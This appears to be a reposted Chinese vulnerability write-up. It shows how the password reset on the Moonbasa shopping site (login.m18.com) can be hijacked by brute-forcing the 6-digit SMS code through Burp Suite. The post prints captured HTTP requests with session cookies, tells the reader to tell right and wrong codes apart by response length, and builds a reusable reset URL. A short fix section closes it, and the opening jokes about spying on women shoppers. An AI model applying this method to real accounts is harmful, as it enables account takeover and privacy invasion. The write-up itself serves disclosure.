来源:自学PHP网 时间:2015-04-17 12:00 作者: 阅读:次
[导读] 哎呦!凡客是屌丝去的购物网站啊!女神去哪里网上购物呢?麦考林那!所以,屌丝们如果你想了解更多关于女神的生活中的细节信息,请关注这里!1.进入麦考林的主站吧!第一步找到...
哎呦!凡客是屌丝去的购物网站啊!女神去哪里网上购物呢?麦考林那!所以,屌丝们如果你想了解更多关于女神的生活中的细节信息,请关注这里!
1.进入麦考林的主站吧!第一步找到登录的界面,这里是否仍有你多么熟悉的【忘记密码?】链接,那么轻点这里:
2.填写需要重置的账号,由于只是测试漏洞存在,这里只用了我自己的账号:
3.填写好手机号码与图片验证码后,点击【提交】。于是给我的手机号发送了重置密码的短信码(为了与图片验证码区别,这里成为短信码)为【551660】,这里随意的填写了一个短信码100000,点击【重设密码】之前设置好浏览器的代理为burpsuite!
4.抓包的POST请求如下:
POST /Service/ContactService.ashx?Method=PhoneValidationCheckCode HTTP/1.1
Host: login.m18.com
Proxy-Connection: keep-alive
Content-Length: 40
Origin: http://login.m18.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1284.2 Safari/537.13
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*
Referer: http://login.m18.com/contact/contactfillinverifycode.aspx?method=GetPwdByPhone&code=53750b5150827ddebc7b05c558e48905&cellphonenum=1*********9&no=7144
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: M18_Passport_UserInfo=oAN7TmaQQlYp5yqS5qTE1HmzzgRJjs0W0f68F74KuSPXRzSlTcgo6+DAI/3v+Dqx44jkWMljommomb03k4zCRW4iIAQX8XxDsVtMNVhIEEBSWQsROeHfE47Ov0lkHZ8NtiZkTyF1XdXKQ72DP0KxuN+7NuAqyXUy8LJlCbrlf8Y/svZCE5OSGePsnBxJkyBQhjU/CmvxXiQvDwXI1oSJ6A==; M18_CID=e2085fe5-c2e6-48bb-80c3-cb2f7518163f; BIGipServerLogin1_Web_Pool=1006741696.20480.0000; __ozlvd814=1352457715
MobilePhone=1*********9&CheckCode=284262从传输的参数容易判断出来MobilePhone是需要重置密码的手机号,CheckCode参数即为短信码。
5.那么开始爆破吧!设置好需要爆破的参数为CheckCode,设置爆破的线程数为100,看看需要多长时间即可爆破成功。我这里为测试只从100000开始:
6.通过返回的字节数或者返回的内容得出正确的短信码:
短信码错误时,返回的字节数为313,而短信码正确时字节数为387;
当然也可从返回的内容来判断是否获取正确的短信码,短信码错误时返回内容包含"检验记录不存在"的字样,短信码正确时返回的内容非常重要,后面会用到!
7.经测试仅仅使用8分多钟就破解出短信码,可见危害之大!我拿破解的短信码去重置时,报错了,说短信码错误,难道只能使用一次?
8.木有关系,还记得第6步拿到的返回内容么!
HTTP/1.1 200 OK www.2cto.com
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 115
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Fri, 09 Nov 2012 10:46:41 GMT
{msgCode:0,msgStr:'操作成功',urlParam:'code=9c0a3c3392991ca77fbd20391040a170&cellphonenum=1*********9&no=4959'}
构造如下链接:
http://login.m18.com/contact/contactsetnewpassword.aspx?type=GetPwdByPhone&code=9c0a3c3392991ca77fbd2039********&cellphonenum=*********9&no=4959点击访问,即可进入重置密码的页面!
9.屌丝再次逆袭成功!
修复方案:
1.还有一个很严重的bug,一次取回账号长久可用,我的重置链接如下(怎么获得呢,看第8步),但是评估我的账号被恶意重置以及泄露个人信息的风险,隐去几位字符: http://login.m18.com/contact/contactsetnewpassword.aspx?type=GetPwdByPhone&code=9c0a3c3392991ca77fbd2039********&cellphonenum=*********9&no=4959
只要拿了上述链接,不用走重置密码的流程即可重新更新密码,另外多次取回密码时的链接时不一样的,但是这些链接都可以同时重置密码,奇葩;
2.6位纯数字短信码的爆破,即平均50万次的请求,我使用了burpsuite测试单台机器100线程,8分多钟即可重置任意一个手机账号!危险啊
3.短信码可以为6位纯数字,甚至可以缩短为4为纯数字;可以不设置图片验证码,甚至可以不用设置短信码的有效期。但是为什么不设置连续5次尝试失败就锁定本次密码重置的请求呢?
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com